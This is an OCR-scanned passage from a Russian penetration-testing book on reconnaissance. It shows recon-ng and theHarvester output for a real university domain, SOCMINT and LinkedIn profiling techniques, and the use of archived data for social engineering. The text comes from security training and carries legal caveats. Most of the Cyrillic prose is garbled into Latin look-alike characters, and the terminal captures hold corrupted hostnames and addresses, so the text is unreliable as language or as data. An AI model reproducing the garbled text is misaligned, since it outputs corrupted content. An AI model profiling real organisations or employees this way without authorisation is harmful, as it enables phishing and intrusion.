- | itsecbook@kali: ~
File Actions Edit View Help

[recon-ng]l[univerity]l[hackertarget] > options set SOURCE uni-1j.si
SOURCE — uni-l1j.si
[recon-ng][univerity][hackertarget] > run

UNI-L].S5I

Country: None

Host: uni-l1j.si
Ip_Address: 193.2.64.220
Latitude: None
Longitude: None

Notes: None

Region: None

Country: None

Host: vzporednistudis.fu.uni-1j.si
Ip_Address: 141.255.219.18
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: dell&@cfel.bfl.uni-1j.si
Ip_Address: 88.200.26.8
Latitude: None

Longitude: None

Notes: None

Region: None

Country: None

Host: ucilnica2223.teof.uni-1j.si
Ip_Address: 88.200.39.33
Lalitude: Nune

Longitude: None

Notes: None

Region: None

Country: None

Host: u9@8532@.uni-1j.si
Ip_Address: 193.2.65.76
Lalilude: Nune
Longitude: None

Notes: None

Region: None

Puc. 3.48. NHdopmaumst o gomeHe uni-lj.si

Mbr cobpastit HHGOPMAITIIO O XOCTaX, KOTOPBIe TPUHAITEKAT YKAZAHHOMY TOMEHY,
mompoOyeM TTIPOCMOTPETH ee B Gosiee yIOOHOM BHUJIE C TTOMOTIIHIO KOMAHIBI sShow
(puc. 3.49).
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= Itsechaak@lnlk - )
File Actions Edit View Help

[recon-ng][univerity][hackertarget] > shaw hosts

I region | country | latitude | longitude | notes |

j.si L3014
bi-ucerkvenik-nb.bfl.uni-1j.%i .208.26.1459
sta.mf.uni-1j.si 3
3.bf.uni-1

Puc. 3.49. Pe3ynbTaT BbINOAHEHNS KOMaHAbl show hosts

C60p MHbOPMaLMK O NOJSIb30BaTENAX

CBoIo 11eJTh HAJIO 3HATD B JIUTIO B OYKBAJIBHOM U TIEPEHOCHOM CMbICTE cI0Ba. Eciri Bobr
HAIILJIY CIIUCOK COTPYAHUKOB JAHHON KOMIIAHUH, TO Oy/IeT MOJIE€3HBIM cOOpaTh 0 HUX
KaK MOKHO GoJrbitie urdopmarmu. Yacto 6bIBaeT, 4To K KOMIPOMETAIUI OPraHu3a-
I[U, KOTOPYIO MBI IIbITaeMCsI B3JIOMaTh, IPUBOJIUT B3JIOM pecypca, He UMelolllero,
Ka3aJ0Cch Obl, HUKAKOTO K Hell OTHOIIeHUsT. TaK0e BO3MOKHO, ECJTH COTPYAHUKHU KC-
MOJIB3YIOT OHU U T€ K€ TapOu /I JOCTYyTa K Pa3TMIHBIM CUCTEMAaM.

[Mosryyenue 1oapoGHOIT MHGOPMALIUE O II0JIb30BATEIAX IIOMOKET OoJiee a(pPEKTUBHO
MIPOBO/IUTD ATAKHU TI0 TUITY COIUATIBHON NHXKEHEPUH, CO3/IaBaTh (DUIITUHTOBBIE THChMA
WJIH, KaK ysKe OBLIO CKa3aHo, [10JIydYaTh IIapOJIH.

Opanako y4ure, 4TO Bac Bcer/la OrpaHUYMBAIOT PAMKM 3aKOHA U YCJIOBUS JIOTOBOPA.
Ecii BbI IPOBOAUTE TECT, KOTOPbIl HE BKJIOUAET B ce0sl TECTUPOBAHIE COTPYAHUKOB
METO/IOM COI[MAJIbHOM NHKEHEPUH, TO He CJIe/lyeT IIbITaThCsl IPUMEHUTD 3TOT METO/L.
YuuTbiBaiite, 4TO MEPCOHATIBHBIE JJAHHDIE JTIOOOTO YETOBEKA OXPAHSIIOTCS] 3aKOHOM
1 TIOJTy4eHre K HUM HeCaHKITMOHUPOBAHHOTO JIOCTYTIA SBJSIETCS TPAaBOHAPYIIIEHUEM.

Bcerna otnocurecs K COTPY/IHUKaM KOMIIaHNI HE KaK K O6’bCKTy JOCTHUIKEHNMA 1EJIH,
a Kak K J1o15M. BaM HUKOra He ITOCTaBsT 3a/la4y YBOJIUTDH OITPEJEJICHHOI'O YeJI0BE-
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Ka 3a Hecobonenve monutukn VB, mostomy 6ysTe 0CTOPOSKHBI TPH MTPOBEIEHITH

AyJIUTOB U HAllUCAaHUMN OTYETOB.

Co6op agpecoB 2a€KTPOHHOM MOYThI. [[19 aBToMaTusanuyu c6opa 6asbl JaHHBIX
AJ[PECOB BJIEKTPOHHON MOYTHI KOHKPETHOIO JIoMeHa OblLjla CO31aHa XOPOIIast yTHINTA,
Bxozguas B cocras Kali Linux, — theHarvester. C ee nomoiipio coOMpaioTcs Takue
naHHble, Kak IP-anpeca, cybaoMeHbl, TI0uTOBBIE aapeca. HaiigeM, HarpuMep, ouTo-
BbI€ a[ipeca, Haxogsiuecs B fomene uni-lj.si. Ilepex samyckom HeoOX0AUMO yKa3aTh
JIOMEH, UCITOJIb3YsT TapaMeTp -d, 1 KCTOUHUK JIJIsT TIPOBEIEHUST TIONCKA, UCTIOJIb3YST

napameTp -p, B HaleM ciydae Bing.

$theHarvester -d uni-1lj.si -b bing

Pesyuibr nokasan na puc. 3.50.

- | Itsecbook@kalk: ~
File Actions Edit View Help

[—(itse:book@ikali]—[-v]

% thellarvester -d uni-lj.si -b bing
L T Ty
*

e Pl
L | b=l |
I Av/ _A_NTT /1|
I b AR ORI | EEER A |

— A
O A Al | //_V
=7y e et S
] G\ e S e

theHarvester 4.2.98

Coded by Christian Martorella
Edge-Securily Research
cmartorellagedge-security.com

*
*
A
*
*
*
*
*
*

% % F k% % > b N

et e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e e de e e e e e e e de de e de ek e de e e de e dede e ek
[*] Target: uni-1j.s1

An cxception has occurred: Response payload is not completed
Searching 8 results.
[*] searching Bing.

[*] No IPs found.

pf f.uni-1j.si
enovicgctk.uni-1j.s1

% s.uni lj.s1
anat@fpp.uni-
uni-1j.

rft.uni-1j.si
bl .uni-1j.s5i

Puc. 3.50. Pe3ynbtaT cbopa agpecos
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PaboTa ¢ coumanbHbIMK CETAMU

CoBpeMeHHBI MUP IIPAKTUYECKH HEBO3MOKHO IIPEACTABUTH O€3 COLUAIbHBIX Ce-
teil. OHM TECHO BILIEJIMCH B HAILY XKU3Hb, U MPAKTHUECKH KaXKIbIN TOJTH30BATEH
WHTEpPHETa UMEET CBOI PO UIb B OHOUN MM HECKOJBKUX TaKuX ceTsX. Jlioan
IIXPOKO UCIIOAb3YIOT COLMATIbHBIE CETH sl OOIIEHMsI, IIOKYIIOK, UTP, IIOMCKA WK
pasmentenus nndopmaru. Facebook, VK, Twitter, LinkedIn u apyrue cetu cramu
HEOTHEMJIEMOU YaCThIO KM3HN MUJLINOHOB. COTJIACHO CTATUCTUYECKUM JaHHBIM,
KOJIMYECTBO JIojieil Ha maaHere 3eMys NPUOJIMKAeTCs K BOChMU MUJLIMAPAAM, U3
HUX [IPUMEPHO Y TIOJIOBUHBI €CTD JAOCTYII K CETH MHTEPHET, U IIPUMepHO y 95 % u3
HUX CYIIECTBYET IPOMUIb XOTsI Obl B OZHON U3 COIMAJIBHBIX CETEN.

Takue ceTu npejCcTaB/IsAoT JOCTATOYHO OOJIBIION HHTEpeC Ha aTare cOopa JaHHbIX.
W3 HUX BBI MOJKETE TIOUYEPITHYTh MHOTO UHTEPECHOI MH(MOPMAIUH: JINIHBIE TAHHbIE,
MOJTUTUYECKNE B3TJISI/IbI, STHUIECKYTO TTPUHA/JIEKHOCTD, MECTO TIPOKUBAHMUS, Ce-
MENHBII COCTaB, yBIeYeHUS U T. /. [10 TaHHBIM HEKOTOPBIX MCCJIeI0BATENElH, OKOJIO
90 % nennoit nu(opMaIu 0 YeJ0BEKe OHNU HAXO/SAT UMEHHO B COIIMAJIBHBIX CETSIX,
octasbHbie 10 % MaHHBIX MOCTYTIAET U3 IPYTUX HCTOUHUKOB.

CormacHo ctatucTuke (statista.com), Ha JaHHBIIT MOMEHT CAMBIMW TIOMTYJISIPHBIMU
B colnasbHOM ob1iennu apJsiores Facebook, YouTube u Whatsapp.

Facebook 2,958
YouTube
WhatsApp*
Instagram

WeChat

TikTok

Facebook Messenger

Douyin**

Telegram

Snapchat

Puc. 3.51. [lecsiTb CaMbIX MOMNY/SIPHbIX CAUTOB COLIMANBLHOIO OBLLEHNS MO AAHHbIM
statista.com Ha 2023 roa (KOMMYECTBO aKTUBHbIX MOJIb30BAaTEsNEN YKA3aHO B MUJIMOHAX)

CouunanbHasg aHanNUTUKA

Jliist o603HaueHMs Tpotiecca cbopa JaHHBIX U TTOJTydeHust H(POPMAIUU U3 COIHU-
anbHbIX cetTeil ObLT puayMan akporM SOCMINT (Social Media INTelligence
gathering). ITox JaHHBIM TIPOIIECCOM MTOHUMAIOT cGOP 060N 06MIEA0CTYITHO MH-
(dbopmaru U3 colaIbHbIX CeTell — 9TO U MepCOHANIbHbIE IaHHble, 1 (oTorpadu,
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U BUJIEO, ¥ BCE TO, YTO IOCTYITHO MIPOKOMY KPYTY ToJib3oBatesieil. Jlanusle, 1ocTym-
HbIE B COIUAIBHBIX CETSIX, MOTYT OBITh OTKPBITBIMI JIUIs1 001IIET0 ocTya (Kak o01ie-
pocrymubie ocTbl Ha Facebook) mim smmms ist wactroro nenosbsoBanust. Jloctyi
K 3aKPBITBIM JIAHHBIM, [TPeTHa3HAYeHHBIM TOJBKO JIJIS1 YACTHOTO MCIIOJIb30BAHMUS, BBI
MOJKETE ITOJYYUTh TOJIbKO C Pa3peleHus 10b30BaTe L.

B npodeccronanbHo cpele 10 CUX MO He YTUXAIOT CHOPBI O TOM, SIBJISIETCST JIN
SOCMINT yactbio OSINT, Bezib 711 1OCTYIIA KO MHOTUM MaTepraiaM HeoOXOIMMO
MPONTH aBTOPHU3AINIO, 3HAYUT, MHMOOPMAIIHS HE COBCEM OTKPBITA; MBI ITPEIOCTABUM
pemaTh 310 Tpodeccronantam B cepe OSINT.

Tunbl coumanbHbIX AaHHbIX

ITomumo ITPOCMOTPa KOHTEHTA, JIIOJIN aKTUBHO MCIIOJIb3YIOT COIlMAaJbHbIE CETH [1JIs1
MHOTUX APYTUX He]’[efl, OCHOBHBIE TUIIBI B3aUMO/IENCTBUI XOpOHIO BCEM M3BECTHDI.

e Hanucanue NocToB WK KOMMEHTaApHEB. Ilomb3oBaTen yacTo NCIIOJIb3YIOT CO-
IMaJIbHbI€ CETU [JI HallMCaHMA ITIOCTOB Ha OIIpe/JeJIeHHbIE€ TEMbI, KOTOPbIE CTa-
HOBATCS BUJIHBI, YTO BayKHO, JIPYTUM I1OJIb30BATEJISIM. EHIG O/[Ha 3aMedaTeJibHasA
(pYHKlII/IH COILIMAJIbHBIX CeTeN — BO3MOKHOCTD OCTaBJISITh KOMMEHTapWH K IIOCTaM
MJIN UCIIOJIb30BaThb UX JIJIA O6H_l€HI/IH C IPYTrUMU 110JIb30BATEJISAMU.

® OTBETHI, HCIOJIb3YIOIUECS VISl OOLIEHHSI C [PYTUMH NOJIb30BaTe s IMU. MoryT
[PEACTABJIATH cOO0il KaK TEKCTOBYIO MH(MOPMALINIO, TaK U M300pakeH sl UK
BHUIEO.

o IIpencraBieHue MyJIbTHMEAUAHOTO KOHTEHTA. [10J1b3yeTCst OOJIBIION TTOMYJISIP-
HOCTBIO; TIOJTb30BATENb MOKET 3aTPYysKaTh BUIEO, H300PAKEHUS WJIH ayAn0MAIIIBL.
ConnasibHble ceTH 00BIYHO MO3BOJISIIOT (POPMHUPOBATH aJTbOOMBI, COCTOSIIIIE U3
TaKKX (PailyioB, a MHOTHE U3 HUX — BECTHU IIPSIMbIE TPAHCJIAIMH, COXPAHSIA UX /LIS
MOCJIE/LYIOTIETO TPOCMOTPA.

e ConuaibHble B3aUMOIENHCTBUS. JTO CYTh COIMATbHBIX CETEN, M0Jb30BATEN
MOTYT B3aUMOJIEIICTBOBATD JAPYT C IPYTOM, OCTABJISIST OTMETKU «HPABUTCSI», 00-
MEHUBAsICh TEKCTOBBIMU COOOIIEHUSAME, OOBEAMHSISICH B IPYIIIIBI 10 HHTEPecaM
u 1. 1. YacTo B3auMoAeiicTBIe IPOUCXOIUT C APY3bsIMU, KOJIJIEraMu 110 paboTe
u ydyebe, cocelsIMU 110 KOMHATE 1 YJIeHAMU CEMbH.

e OO6pa3soBanne MeTaJaHHbIX (PE3YJIBTATOB CYMMbI B3aUMO/IEHCTBUN MOJIB30-
Bartesiell ¢ conuaabHoi Tmargopmoit). K TakuM JaHHBIM MOKHO OTHECTU ATy
U BpeMst, KOT/la BUIEO WU H300paskeHe ObLIO 3aTPY/KEHO, IaTy 1 BPeMsl, KOT/a
ObLII IPUHAT 3a1POC Ha I06aBICHNUE B IPY3bsl, IAHHbIE Te0JIOKAIIMM 3arPysKeHHOI
(ororpacdum nnm 3anucu, a Takyke TUI YCTPOWCTBA.

Bce 511 1TaHHbIe MOTYT TIPEICTABISATD OTPOMHYTO TIEHHOCTD JIJIst MiccieoBanms. Tax,
HaIpuMep, 3Hask UMS OJTHOTO COTPYAHWKA, MOKHO HAUTHU JAHHBIE O €r0 KOJIJIETaX.
Wiu, kak yacto ObiBaet, Haiitu ororpadun, caesannbie Ha pabodyeM MecTe, YTOObI
MOJIYYUTHh UHOOPMAIUIO 0 MeTO/IaX (DU3UUECKON MJIN MPOTPAMMHON 3aIIUThI, KC-
MOJIb3YEMBIX Ha KOHKPETHOM ITPE/ITPUSITUH.
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Knaccudukaums coumanbHbIX ceTemn

TepMI/IHbI «COIMaJIbHBIE CETU» U «COIMaJIbHbIE MeJa» 4YaCTO MCIOJIb3YIOTCA IJId
obosnauenus takux pecypcos, kak VK, Facebook, Twitter, LinkedIn u cBsizannbix
C HUMM COMaNbHBIX mraTdopm. Hembss ckazaTh, 9TO 9TO HEKOPPEKTHO, HO CTOUT
IIOMHUTD O TOM, UYTO «COITMAJIbHbBIC CETU» ABJIAIOTCA JINIITH OZIHOI;I 13 I'pyI1I, 06'1)6211/1-
HEHHDBIX IIOHSITHEM «COLMAIbHbIE Meyay. Hiske Mbl paccMOTPUM OCHOBHbIE TPYIIIIBI,
HOJIIAAI0IIUE TI0/I IIOHATHE <«COLMAJIbHBIE ME/IA».

Dorto. Takue cailTsl pepHa3HAYEHD U151 0OMeHa hoTorpadusIMi MEK/LY MOJIb-
soBarensmu. Hanbosee momynsipusiMu sipsistiotest Instagram u Flicker.

Buneo. CaiiTsl ipeiHazHaueHbl /i1 0OMEHA BUIE0, BKJIIOYAs PSAMBbIE BUICOTPaH-
castiuu. Cambrit omrysisipabiii — YouTube.com. DynKImio oOMeHa MyJIbTuMe-
JMIHBIM KOHTEHTOM Takske rouepsxusaior Facebook u VK. Oxnako cobcTBeHHO
caiiTel 0OOMEeHa BUICO MPEHAZHAYEHBI JIsT 0OMEHA NCKJIFOYUTETbHO BUACOKOH-
TEHTOM ¥ TIOPasyMeBaloT J0CTATOYHO OIPaHUUYEHHYIO BO3MOKHOCTh 0OMEHa
JAPYTUMU JAHHBIMU (B OCHOBHOM OIIMCAHUSAMU BU/IE0 U KOMMEHTAPUSIMU K HUM ).

Baor. Tun undopMaiinoHHOTro Beb-caliTa, coepsKaIlero Habop TeKCTOB, OT-
HOCSIIIIUXCST K O/THOW TeMe MJIM OJTHOMY TIPE/IMETY, OPTaHU30BAHHBIX B TIOPSI/IKE
yOBIBaHMUST MJIW BO3PACTAHUS B COOTBETCTBUH € aToil mybukarin. CaMbIMHU MO~
MyJIAPHBIMU TTaThOpMaMu 715t BeieHust 610roB siBiistiotcst Word Press u Blogger.

Muxkpo6aor. [To3BoJisieT MoIb30BaATEIAM TyOIMKOBATH KOPOTKHIT TEKCTOBBII
a63a1l (KOTOPbI MOKET ObITh CBSA3aH ¢ U300PasKEHUEM WU BUIEO) WK CChLIKY
(URL). CambiMu HoIyJIsipHbIME MUKpoOsIoramu sBisiioress Twitter u Tumbler.

Dopym (m0cka coodumenuit). OauH 13 cTapeillix TUIIOB COLMATbHBIX CETEll.
[TosBosisieT mosTb30BaTeIsIM OOMEHUBATHCST UMY, MHEHUSIMU, OTTBITOM, HH(HOP-
Malueii, HOBOCTSIMU 1 0OCYKIaTh UX ¢ APYTUMHU oMU, DopyMbI 06BIUHO Opra-
HU30BaHbI 10 TeMaM. CaMbIMU TOMyJIspHbIME celtuac siBistiorest Reddit u Quora.

Nrpa. B ocHOBHOM NMEIOTCS B BUY OHJIANH-UTPHI, TTO3BOJISIONTNE HECKOTBKIM
UrpokaM urpatb BMecre. Takue ceTu 1103BOJIAIOT [10Jb30BATENAM U3 PA3HbIX
yroJikoB Mupa (hopMUpPOBATh CBOM KOMaH/IbI M B3aUMO/ICHCTBOBATD C IPYTUMHU
monpMu 1 rpynmamu. K takum certsim moskuo otaect Twich, Discord, Steam.

CepBuc colyaJbHbIX 3aKIaA0K. OCHOBHOI (DYHKIIMEN TaKUX CAliTOB SIBJISIETCS
CO3/IaHVIEC 3aKJIAJIOK 1 OOMEH MU C IPYTHME caiiTaMi. B oTJiiume oT 3aKk/IajioK B Ba-
meM Gpaysepe, Bbl MOJKETE JIETUThCS TAKUM JAHHBIMU C IPYTUMH Jiioabmu. Hau-
GoJiee MOIYJIAPHBIMU CePBUCAMU 3aKJIal0K sBJsioTcs Atavi, Pinterest u Pocket.

00630p IPOAYKTOB WM yCayr. Takue caliThl MO3BOJISIOT TTOJH30BATENAM TIPO-
CMaTPUBATh WJIU OCTABJISATH OT3BIBBI O JIOOOM MPOAYKTE UJIN YCJIYTE, KOTOPHIMU
OHU TI0JIb30BaJICh. CaMble MOy IsipHbIe caliThl 0030poB — Yelp u Angie’s List.

CTOUT OTMETUTD, 4TO JAHHOE Pa3/IeeHNe HECKOIBKO YCIOBHO, BE/Ib BB MOKETE OCTa-
BUTH OT3bIB 00 ycJryre He ToJIbKO Ha Yelp, Ho u B 2GIS u GoogleMaps. OcHoBHOM T1e-
JIBIO TAKO$ CHCTEMATH3AITNHN SIBJISIETCST He CTPOTOE Pa3/ieleH e Ha TPYIITIbI, & BO3MOJK-
HOCTb TI0Ka3aTh BCe PasHOOOpasue CyIIECTBYOINX COMUATbHBIX B3AUMOICHCTBHIN.
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LinkedIn

PaccMoOTprM BO3MOKHOCTH TIOMCKA MO COMMATBHBIM ceTsiM Ha mpuMepe LinkedIn.
LinkedIn — conumasbHast ceTh, OpHEeHTHPOBaHHASI Ha TPO(ECCHOHATIBHBIE B3AUMOOTHO-
tieHust 1 passute Kapbepbl. OHa Gbita ocHoBaHa B 2002 rojy u samytiena B 2003 rogy.
C momenTa cBoero cozanust LinkedIn npesparuiach B 0iHy U3 KPYyMTHEHIUX COMHU-
ATBHBIX TUIATGHOPM, OOBEIMHSTIONNX MUJITMOHBI TTOJIb30BATEJIEH CO BCETO MUPA.

OcHogHble BosMoskHoCTH 1 (pyHKImu LinkedIn:

Cosnanne npodeccuonanrbHoro npoduis ¢ ykazanneMm 06pa3oBanusi, OmbITa
padoThI, HABBIKOB U JAOCTHKEeHHIA. [TpodIIIb CITYKUT CBOETO POjia HHTEPAKTUB-
HBIM PE3IOMe U MOKET OBITh UCIIOJIb30BAH TIPH MOUCKEe PAGOTHI HJIH YCTAHOBJIEHUN
JIEJIOBBIX KOHTAKTOB.

COI.ll/IaJII)HbIe B3auMozelictBus. [lonb3oBarenn MOTYT ,Z[O6aB.7'IF{Tb APYTUX 1MOJib-
30BaTesieil B CBON KOHTAKTbI, UYTO ITO3BOJIAET UM CJICIUTDH 3a HOBOCTAMU 1 06HOB-
JICHUAMMU, a TaKIKE PACHINPATDH CBOIO HpO(l)eCCI/IOHaJIbHyIO CEThb.

ITouck pa6orsi. LinkedIn mpeziaraer mouck BakaHCHI, a TaKsKe BO3MOKHOCTD
HOZAIUCKY Ha OOHOBJIEHMS BAKAHCUI KOMIIAHUIA 1 IIPOCMOTPA IPEJIOKEHNI 0 pa-
6ore. Tlnatdopma Takske TpearaeT MHCTPYMEHTBI T OTCIEKUBAHUS 3aBOK
Ha paboTy ¥ TOJYYeHUsT PEKOMEHIATIHH.

Vuebnsie pecypcesi. LinkedIn mpemaraer 1ocTym k 06ydaionmum MaTepraiam
u Kypcam uepes cBoto miardopmy LinkedIn Learning (paHee u3BecTHYIO Kak
Lynda.com). 3pech moJsib30Baresii MOTYT M3y4aTh HOBbIE HABBIKU U YJIYUIIATEH
CBOTO KBATM(DUKAIMIO B PA3TMYHBIX 0OIACTSX.

Ipynmst u coobmiectBa. [Tob30BaTEN MOTYT CO3/IaBATh TPYIIIHI IO HHTEPECAM
U IPUCOEANHATHCS K YIKe CO3[aHHbIM, 00CY KAATh Pa3INUHBIC TEMbI ¢ KOJIJIETaMK
1o TPOeCCUm WK eIMHOMBITTIIEHHUKAMU.

Konrent u HoBoctH. LinkedIn mnpesaraer jeHTy HOBOCTEIA, T/ 1OJIb30BATEIN
MOTYT J€JUThCS CTAThsIMU, OOHOBJIEHIAMY 1 MHEHUSIMU, 2 TAKKE YUTATh U KOM-
MEHTHPOBATh IIyOJIMKAIUK APYTUX [10Jb30BaTe e,

B 2016 roxy xommnanust Microsoft npuobpena LinkedIn 3a $26,2 mupa, uro cramo
OJTHOU W3 KPyIHeWIux caegok B wHaycTpun texHosoruii. C rex mop LinkedIn
IIPOJOJIKAET Pa3BUBATLCS M PACIIAPATH CBOU BO3MOKHOCTH, CTAHOBSCH Bee Oojiee
UHTErPUPOBAHHON B 9KocucTeMy Microsoft.

W3 npocuiist mosbzosaresst Linked In MOXKHO MOTYyInTh CIeyIONTYI0 MHMOPMAIUIO:

OCHOBHbI€ JaHHbIE: UM, (baMI/IJII/IH, AOJIKHOCTDb, MECTOIIOJIOKEHNE N KPaTKOe
OIlMCaHue HpO(beCCI/IOHa]II)HOI;'I J1EATE/IbHOCTH;

06pa30}3aHI/Ie: y’-Ie6H]':>Ie 3aBe/icHu:A, CIICIUAJIbHOCTHU 1 CTEIICHU, ITOJYYCHHBIE
II0JIb30BaTEJIEM;

OTIBIT PABOTHL: CITICOK KOMTTAHWH, TII€ TI0Jh30BaTETb PabOTAT patee, ¢ yKazaHnem
JOJIKHOCTEH, /IaT Havyasla U OKOHYaHUs PAabOTHI, a TaKyKe KPATKUM OMUCAHUEM
06sI3aHHOCTEH U IOCTHIKEHWI HA KAKIIOM MecTe paboTh;
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® HaBBIKU:. CIIMCOK HpO(DECCI/IOHaJIbHBIX HaBBIKOB C BOBMOJKHOCTBIO ITOJIYYE€HUA
peKOMeHI[aHI/Iﬁ OT JIpyTux HOJIbSOBaTe]IeI;,I;

® pEeKOMEHJAINU: PEKOMEHIAINU OT KOJIJIeT, KITUEHTOB UJIN PYKOBOAUTENCH, IO -
TBEPIKAAION[UE KOMIIETEHTHOCTD U JIOCTUKEHUS [10JIb30BATEIIS;

L] CepTI/I(bI/IKaTBI 1 Harpajbl: MMTOJy4Y€HHbIC CepTI/I(l)I/IKaTbIy JIMIIEH3W N, Harpaabl
" Jipyrue J0CTHUKEHUA I10JIb30BaTEJIsI B paMKaX cBoelt HpO(i)ECCI/IOHa]IbHOI;'I JeAa-
TEJIbHOCTH,

® BOJIOHTEPCTBO: OIIBLIT BOJIOHTepCKOIL/,I JEeATEJIbHOCTU 1 O6H.[€CTB€HHIJIX MHUINATUB,
B KOTOPBIX ITPUHUMAJI YIaCTHE TTOJTb30BATECIb;

® MHTEPECHI: CIIMCOK MHTEPECOB I10JIb30BaTeEJIA, BKJIIOYadaA KOMIIaHNH, OTpacjieBble
TPYIIIIbI, COO6I.II€CTB3. 1 TEMBbI,

® TPYIIIbI U OPTraHU3AIUHI: TPYIIIBI U OPTAHU3AIUU, K KOTOPBIM ITPUCOETUHILICS
noJib3oBaretb Ha miatdopme LinkedIn;

® 1yOJUKAIlUU: CTaThH, IOCThI, OGHOBJIEHM U KOMMEHTapHH, OIlyOJINKOBaHHbIE
noab3oBareseM Ha LinkedIn;

® O6H139[ CE€Tb KOHTAKTOB: KOJIMYECTBO KOHTAKTOB II0JIb30BaTEJ/IAd 1 BO3SMOKHOCTD
TIpocMOTpa O6H.[I/IX KOHTAKTOB C IPYTUMU TI0JIb30BATEISAMMU;

® MEepOonpuATHA: YHYacTHe B IIPOLIEAIINX WUJIN IIPEACTOAIINX MEPOIIPUATHUAX, CBA-
3aHHBIX C HpO(beCCI/IOHa]IbHOI;'I JeATE/IbHOCTDIO ITOJIb30BaTe IA.

Baxno OTMETHUTD, YTO HEKOTOPBIE N3 3TUX JaHHBIX MOTYT OBITh CKPBITBI C TOMOIIBIO
HACTPOEK KOH(bI/II[eHHI/IaJIbHOCTI/I II0JIb30BaTEJIA.

ITouck B LinkedIn. IToka BbI He npouwiu ayreHTudukanuio B LinkedIn, Bam Oyzer
JOCTYTIEH JIUTITH TIPOCTO TIOUCK € UCTIOIB30BAHMEM B KAUECTBE MAPAMETPOB TOJHKO
numenn u hamusnu. B pesysibrare Bbl IOJyUUTE CHIICOK UMEH ¢ KPATKUM OIMCAHUEM
(puc. 3.52). Ecim Bbl XOTHTE HOJYYUTH JOCTYI K HoJiee nogpoOHoi uHpopMaum
o soboM mpodie, Bam Hy:kHO BoiiTu B LinkedIn.

Jluist 3aperucTpupoBaHHbIX Tosb3oBateseii LinkedIn npegocrasiisier 6osiee mmpokue
BO3MOKHOCTH: TIOUCK JTI0/IeH, BAKAHCHH, MyOIMKaIil, KOMIAHWIT, TPYIII U Y4eOHbIX
3aBegenuil. Bol MoxkeTe HauaTb CBOU IIOUCK C IIPOCTBIX 3aIIPOCOB, & [10CJIe II0IyYeHUs
Pe3yIBTaTOB OT(HUIBTPOBATH HYKHBIE, UCTIOJb3YS PA3JTNIHbIE (DUITBTPHI.

Hampumep, 4To6bI BBIIOJHITH MOKCK 110 KJIH04YeBOMY c1oBy British Airways, npocro
BBE/IMTE €r0 B CTPOKY MOMCKA U HaKMuTe Kiasuiiry Enter. Ha Bepxueit yactu crpanuiibt
PEe3yJIBTaToB eCTh OMIKst Bce huUnbTpbl, HAKMHUTE HA 3TY KHOIIKY, YTOObI 0TOOPA3UTh
BCe BO3MOKHBIE (hUsIbTPBI (PHC. 3.53) U MONTYIUTh BO3MOKHOCTD CY3UTh KPYT OUCKA.

Pacumpennsiii nouck LinkedIn obseruaer mnpouecce HaxoxkaeHUs He0OXOAUMOM
MH(MOPMAIIUK C UCTIOJIH30BAHUEM TaKUX JAHHBIX, KAK UMsI, (haMUJInst, KOMITaHUSI,
obpasoBarebHOe YUPEsKIeHUE 1 J0JKHOCTb. Bbl Takske MosKeTe OrpaHuYUTh IIOMCK
OTIpe/ieJIeHHbIM PETMOHOM, yKa3aB reorpadudeckoe paciosioxkenue. [Tonck MoxxHo
HACTPOUTH C YUETOM SI3bIKA TIPOMUJIS U TEKYIIETO UK TIPEBILYIIEr0 MecTa paboThl
1[€JIEBOTO JINTIA.
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Puc. 3.53. OunbTpsl LinkedIn

Pacimmpennbie omepatopbl OMCKA MTO3BOJISAIOT YTOUHATD PE3YIbTAThl M aHATIOTUYHbBI
TeM, KOTOpBIe TIPeJIIaraloT IpyTue coluaabable ceTu. Hiske ykazaHo, Kak HCHOTb30-
BaTh HanboJIee MOMYJISIPHbIE U3 HIIX:

® uToObI HAWTH OpesiesieHHYI0 (hpasy, 3aKII0UNTE €€ B KaBbIUKU. TaKOU MOAXO/
MPUMEHUM U JIJIs1 TIONCKA TPOMUIIEli ¢ HECKOJBKUMU KJII0UeBbIMU cioBaMu. Ha-
npumep, "Perl programmer" Hai/leT TOJBbKO TPOGhUIIN, copepKatne 3Ty dhpasy;
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® 4TOGBI UCKJTIOUNTD OTIPEIETIEHHOE CI0BO U3 PE3YJIBTATOB, UCIOJIb3YiiTe OIIepaTop
NOT: developer NOT java;

® yTOOBI BKJIIOYUTD B PE3YJIBTAThI TIPOMUIIH, COJEpPIKAIIUe OJHO U3 HECKOIbKUX
CJIOB, MCIIOJIb3YHTE o1epatop OR: administrator OR linux;

® uToOBI HAiTH TTPOGUIH, CoMepIKaIIe CPa3y HECKOTIHKO CJIOB, UCTOIB3YITe
orepaTop AND: java AND architect. Yurute, eciu HCKaTh HECKOJIBKO CJIOB He3 rc-
MOJIb30BaHUs JIaHHOTO oneparopa, LinkedIn ocyuiecTBuT monck Takum o6pasom,
GY/ITO BBI €TI0 MCIIOIb30BAJIH;

® uyToOBI OOBEAMHNUTD PasHbIe OTEPATOPBI, UCIOAb3YITE cKOOKU. Hanpuwmep:
administrator NOT (windows OR developer)$

e Bocrosb3yiitech mouckoBukoMm Google muist moucka B LinkedIn, ncmosssyst ore-
patop site. Hanpumep: "Air Mail" site:linkedin.com.

Pacuupentsie omepaTopsr orcka LinkedIn moMoryT cy3suTh Kpyr morcKa u moJry-
9UTH HoJIee PeJIeBAHTHYO HH(MOPMAIIHTO.

ApxuBHble faHHble

Yacro ciydaeTcs Tak, 4TO OpraHu3aiiy IyOoJuKyIOT Ha CBOMX caiiTaX TaKylo WH-
dhopMmariio, KoTopasi BIIOCJAEICTBUNA MOKET ObITh UCIIOJIb30BaHa IIPOTUB HUX CAMUX,
a 3aTeM, 3aMeTHB OIUOKY, yAAISIOT ee. IlepedrciuM HECKOJIBKO CJydaeB, KOTIa
apXWBHbBIE JaHHbIE TI0JIE3HBI /IJIST TPOHUKHOBEHUS B ceTh 1iesieBoit M C:

o CouuanpHas uHKeHepus. [loyuuB anHbie 0 MPOIIEANNX KOHKYPCaX Ha BBITTOJI-
HeHUe OITpe/IeJIeHHBIX PAOOT, BbI MOKETE MTPEICTABUTHCST OJJHUM 13 TIOAPSAIUKOB,
Takoii crocob O3BOIUT BOWTH B IOBEPHE, BE/lb BbI 0OIa1aeTe Toi nHbopMaruei,
MOCTYI K KOTOPOH Ha TAHHBII MOMEHT 3aKPBIT, U 06a1aTh €10 MOKET TOTHKO
JIUIIB CaM UCTIOJTHUTED.

e Jlauuble o 1eJIeBOi ceTH. B BakaHCcHgX 4acTO yKa3bIBAIOT TEXHOJIOTUM U TTPOU3-
BoJUTE el 060PYIOBaHKS, ¢ KOTOPbIMU paboTaeT opranusaius. Coopas JaHHbIe
